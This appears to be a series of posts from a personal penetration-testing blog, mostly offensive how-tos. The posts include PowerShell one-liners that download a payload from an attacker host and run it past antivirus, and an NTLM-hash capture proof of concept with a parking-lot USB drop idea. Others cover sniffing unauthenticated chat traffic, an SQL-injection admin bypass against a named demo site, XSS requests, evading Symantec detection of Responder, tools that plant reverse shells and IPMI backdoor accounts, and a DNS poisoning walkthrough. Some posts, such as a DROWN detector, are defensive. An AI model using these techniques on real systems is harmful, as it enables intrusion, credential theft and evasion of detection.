Snooping Applozic chat messages via MQTT

I was surfing the web learning about MQTT when I came across something very interesting and started digging. So here is how I was able to sniff Applozic chat messages and download images being sent, and any files being sent to a client or chat user.

Lets start with what Applozic is. Their website say's, "We built Applozic for creators like you so that you don’t have to reinvent the wheel. Applozic provides a comprehensive set of Chat SDKs and easy-to-use APIs so that you can build and iterate quickly. Running on the cloud, the infrastructure is always available, continuously upgraded and auto-scales to meet your needs". So its a "cloud" based chat system that ppl can put in phone apps, web sites, etc. that some people are setting up and making bots to automate support for their service or product. It is using MQTT for the back end message delivery.

Now we will talk about MQTT. Their website says, "MQTT is a machine-to-machine (M2M)/"Internet of Things" connectivity protocol. It was designed as an extremely lightweight publish/subscribe messaging transport. It is useful for connections with remote locations where a small code footprint is required and/or network bandwidth is at a premium. For example, it has been used in sensors communicating to a broker via satellite link, over occasional dial-up connections with healthcare providers, and in a range of home automation and small device scenarios. It is also ideal for mobile applications because of its small size, low power usage, minimised data packets, and efficient distribution of information to one or many receivers". So its a messaging protocol for IoT devices. Looking around on shodan reviles most of the systems out there are just that, IoT devices. As far as I can tell most of them are home automation type systems. MQTT does offer authentication, but isn't used much including with Applozic.

Now back to Applozic. In most cases I found of this app being used in the wild is some type of chat support bot so no initial auth is required, but some are using a local auth mechanism to use the chat. For devs to use the API they do give out a API key. All of these apps are using the API which uses MQTT for back end message handling which isn't using authentication.

All of this leads to being able to sniff chat messages. I found a nice MQTT explorer online and pointed it at one of Applozic's MQTT servers and the messages came rolling in from all over the globe. Some of these messages had very sensitive information in them. I mean VERY sensitive!

Next step might be trying to publish to some of the titles, but that is another project.

To resolve this they are going to have to start using that API key as bilateral authentication with MQTT.

Applozic's implementation of MQTT seems to be unique, but they are not the only ones using it for human to human or human to bot communications. All of them have the same issue, unauthenticated access to MQTT allowing for anyone to see the convos. Also seen a few systems using MQTT to transfer XML payloads which was odd and likely open to XXE. Thats it, go explore and have fun!

Two useful powershell cmds

Download bin:

powershell -exec bypass -c Invoke-WebRequest -Uri http://attacker/payload.exe -OutFile c:\Users\Public\Documents\payload.exe #wrap the execution of payload.exe in a batch file called start.cmd and "download" it to target as well.

Execute bin:

powershell -exec bypass -c Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList c:\Users\Public\Documents\start.cmd

The powershell got around most AVs and combo of the batch file and ps cmd the payload should run on its own, no matter how you managed code execution on the target. Persistence is the next todo.

Nabbing NTLM Hashes With DataLocker Sentry ONE Managed USB Drives

The DataLocker Sentry ONE Managed USB drive is a great, affordable, secure self encrypting device. It features AES256 full disk encryption with built in management software that includes a anti-malware scanner. It does how ever have at least one feature that if exploited can lead to the users NTLM hashes being sent to any address the attacker chooses.

I found that the DataLocker Simply Secure device management software can be used to send the current users NTLM hash to any remote server an attacker chooses with no interaction from the user and without the users knowledge. The user simply has to run the unlock software and input the correct password, which auto launches the management software, triggering a SMB call.

This vulnerability depends on an insider threat or malware. You could drop these in a parking lot and put the password in the cap on a small piece or paper or something. Because its password protected, people might be more likely to want to check it out.

PoC:
Set up SMB server to prompt for domain credentials on connect. (Metasploit: auxiliary/server/capture/smb)
Edit management software config to include path to SMB server as an app. (Drive Letter:\.Apps\.apps.db)
Add content after AdditionalApplications tag:
                < Appl>
                                < Identifier>0< /Identifier>
                                < AppPath>\\attack.machine\< /AppPath>
                                < Args></ Args>
                                < IconPath></ IconPath>
                                < DisplayName></ DisplayName>
                                < Summary></ Summary>
                                < Url></ Url>
                                < InternalVersion>0< /InternalVersion>
                                < OS>0</ OS>
                < /Appl>
"Remove spaces"
Close and relock device. Move to another computer or re-run unlock software.
Authenticate to device, triggering SMB request.
View Metasploit for NTLM hash.

Why they would allow this, or just didn't think of it when they were developing the software, I dont know.

Knopflerf*ck tool - A Knopflerfish attack tool

Knopflerf*ck tool is a little script I made to attack the Knopflerfish Framework. It currently will scan a host for the presence of the Knopflerfish Framework and then run a quick enum of a few its services like http server and remote framework functionality, and a known XSS in its http console. It can also generate a reverse shell connection payload and upload/execute it if the remote framework is exposed.

KFT usage and "modes"
Mode 1 runs an enum scan
-Checks for default bundle info, HTTPConsole, and if the remote framework is running
-Usage: python knopflerfucktool.py 1
Mode 2 outputs a payload to upload however you like
-Usage: python knopflerfucktool.py 2
-This mode also makes the payload needed for mode 3
-Requires openJDK 1.8.0 and Eclipse Equinox (eceq.jar)
Mode 3 uses the KF Remote Framework to upload and run a payload
-Usage: python knopflerfucktool.py 3
-This mode needs the payload from mode 2
-The payload needs to be host on the web root of http://:/

Get it at GitHub

Knopflerfish bundle httpconsole 4.0.1 XSS

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Cross Site Scripting x2
[x] Vendor: Knopflerfish Project
[x] Vendor Website: https://www.knopflerfish.org
[x] Bundle Name: httpconsole
[x] Bundle Version: 4.0.1
[x] Bundle DL: https://www.knopflerfish.org/releases/current/osgi/jars/httpconsole/httpconsole_all-4.0.1.jar
[x] Found by: Anarchy Angel
[x] Twitter: @anarchyang31
[x] URL: https://aahideaway.blogspot.com
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[1] Pre-authentication XSS in login page.
Method: POST
URL: http://knopflerfish-server:8080/servlet/console
Variable: loginname

exp:
POST /servlet/console HTTP/1.1
Host: http://knopflerfish-server:8080
...

loginname=[XSS]&loginpwd=asd&login_cmd=Login
====


[2] Post authentication XSS in management console.
Method: POST
URL: http://knopflerfish-server:8080/servlet/console
Variable: cmd_install_url

exp:
POST /servlet/console HTTP/1.1
Host: http://knopflerfish-server:8080
...

bundle_id=29&cmd_install_url=[XSS]&cmd_installurl=install

Ummm firsties? :)

Files for part 3 of 3 from Fully Functional & Programmed in Multiple Techniques

This time we covered broadcast receivers abuse in android applications.

Here is the android studio project

Slides from the demo

Here is the cheatsheet I keep talking about :)

Many thanks to stl2600 and Arch Reactor for allowing me to do stuff in the space! I hope everyone enjoyed this small series of presentations.

Thank you all!

Files for part 2 of 3 from Fully Functional & Programmed in Multiple Techniques

This time we covered content provider abuse in android applications.

Here is the android studio project

Slides from the demo

I hope everyone enjoyed this presentation.

Thank you.

Files for part 1 of 3 from Fully Functional & Programmed in Multiple Techniques

More info on series here - https://www.meetup.com/St-Louis-2600/events/skcdpnyxgbjb/

Source for the app HERE

Apps to inspect other apps AndroidManifest.xml file and manipulate activities:
Apk Analyzer by Martin Styk
Apk Analyzer by Dinostudio8891
Same name and some duplication, but one gives you a better view of the AndroidManifest.xml file (Martin), and the other gives you more control over the exposed elements (Dino). You can find them in the play store.

Sorry it took me so long to get this up...

My Click Counter 1.0 admin login bypass via SQLi

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[x] Type: Admin login bypass via SQLi

[x] Vendor: http://software.friendsinwar.com/

[x] Script Name: My Click Counter

[x] Script Version: 1.0

[x] Script DL: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=15

[x] Author: AnarchyAngel AKA Adam

[x] Mail : anarchy[dot]ang31@gmail[dot]com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




Navigate to scripts admin login page and submit ' or ''=' for username and password

and it should give you access to the admin area. Enjoy >:)

Demo: http://software.friendsinwar.com/scripts_example/my_click_counter/login.php

Bypassing Symantec Endpoint SMB NTLM capture attack detection

A while back I was running Responder on a network to get some hashes. To my surprise, the incident response team pinged me and asked if alerts they were getting from Symantec Endpoint Security [SEP] was from my activities. I social engineered them a little and they ended up sending me a screen cap. The screen cap they sent me said:

Attack: SMB Sniffer Negotiate Protocol Challenge Key 2

Now when I googled that it returned a page which gives a bit more information.
URL: https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=26956

On that page it says:

This signature detects attempts to sniff SMB usernames and passwords through a known challenge key which can then be used to crack the passwords offline.

The key words there are "through a known challenge key". Responder uses the default challenge key of 1122334455667788 and that is how SEP detected this attack. Responder is awesome and has a config file that allows you to change the challenge key to what ever you want, which then bypasses SEP detection of the attack. The config file is found in /usr/share/responder/ on kali 2 systems, simply change the challenge key to something like 2211334455667788 and your attacks will go unnoticed by SEP. Happy hacking :)

IPMIPWN Tool

There are a few good tools out there (Metasploit) to help you find and identify the IPMI cipher 0 vulnerability, but because its relatively trivial to exploit I have seen nothing that helps you pwn it. While it is easy to exploit, I have found I keep having to brush up on commands and junk every time I come across it which is where my tools comes in.

My IPMIPWN tool does all the real work for you, it will attempt to exploit the cipher 0 vulnerability using a list of predefined default user accounts and setup a backdoor account with a semi-random username and random password. All successful backdoors are logged in loot.log. This tool works best on Kali, it does require you to have ipmiutils "apt-get install ipmitool" and NMAP installed. Enjoy.

Get IPMIPWN from GitHub

My Own DROWN Detection Tool

I had to find a quick way to detect the DROWN vulnerability on a large enterprise level network, so this goes more into the vulnerability management realm, but I was tasked with it none the less and I thought others might get some use from my work here as well.

I didn't like the scanning tool from drownattack.com and most of the systems in scope were internal so I couldn't use their online version either. First I tried OpenSSL but the version that comes with Kali 2 does not support SSLv2 even thought the help menu says it does. I was going to try and recompile OpenSSL to add SSLv2 support but that was proving to be a pain in the ass.

That's when I made a little bash script that uses NMAP and TestSSLServer to detect SSLv2 support on port 443 of a web server. All you need to do is provide a list of IPs and it goes to work, unlike all the other tools available at the moment, the output is clear and easy to understand. It does lack features and support for other ports. If the tool proves popular I will be happy to add both. Enjoy and happy hacking :)

Get the DROWN Detection Tool from GitHub.

**UPDATE: Thanks to ngharo for the code contribution. Already merged your changes into master!

Low Hanging Fruit Initiative

The Low Hanging Fruit Initiative [LHFI] is my own little project to make life easier on pen-testers like myself. Not that life is that hard for me, I'm just lazy and as I go along, I find things that should be simple are overly complex, overlooked, or under appreciated . So I develop tools, scripts, etc. to get the most juice I can from the low hangers and fill what I feel are gaps in the process of exploitation. Not passing up quarters for dollars has allowed me to take my game to a new level.

The way I see it, the bad guys are not coming into networks and just focusing on the vulnerabilities with CVSS scores of 10, they are searching the network looking for anything they can get their hands on to further their penetration or increase the scope of the breach and I don't understand why we cant do the same. When ever things like this are talked about, they always take the defender approach or the cracker approach, its never really looked at from a pen-testers perspective. Some might say the cracker and pen-testers approach should be the same, but they operate under a different set of restrictions. The most prominent being time for pen-testers, where often the quarters are passed up for a dollar to save time and keep costs low.  I'm not saying people need to rethink their current process, just saying maybe add a step or two. After you found all the show stoppers, take time to revisit the mediums and lows, maybe there is a gem waiting to be discovered using the scripts found here/elsewhere or your own.

The over all goal of the LHFI is to help pen-testers penetrate deeper into a network from more places. I hope this will lead to better secured and resilient networks which is good for everyone. To denote which posts contribute to the LHFI I will start using the LHFI label. If you have scripts, programs, ect. that you think fits under LHFI please let me know. I would be happy to showcase them on my blog. Thank you for reading and happy hacking.

Exploiting CVE-1999-0184 DNS Poisoning

Yes this CVE is old, but I keep seeing it and there is no real tool or exploit guides available so I thought I would make one up right quick.

This "guide" is for Kali 2 and the basics of whats going on is the target DNS server allows anonymous DNS updates. The one tool we will need is nsupdate. If its not already on your system you can just run apt.

apt-get install dnsutils

Now we will need to start with a file that has all our commands in it. It should look something like this:

server 1.2.3.4 #our target DNS server 

zone corp.company.com #the zone we are working in. 

update delete evil.corp.company.com. A #rm just in case. 

update add evil.corp.company.com. 86400 IN A 2.2.2.2 

show 

send

Save the file as dns. Now just run the following command:

nsupdate -v dns

nsupdate should read all the commands in the dns file and send them to our target DNS server. After a few seconds you should see something similar to this:

Outgoing update query:

;; ->>HEADER<<- i="" id:="" nbsp="" noerror="" opcode:="" status:="" update="">

;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0

;; ZONE SECTION:

;corp.company.com. IN SOA

;; UPDATE SECTION:

evil.corp.company.com. 0 ANY A

evil.corp.company.com. 86400 IN A 2.2.2.2

Now just run a quick DiG query to make sure it worked.

dig @1.2.3.4 A evil.corp.company.com 

That is all I have for this post. Happy hacking :)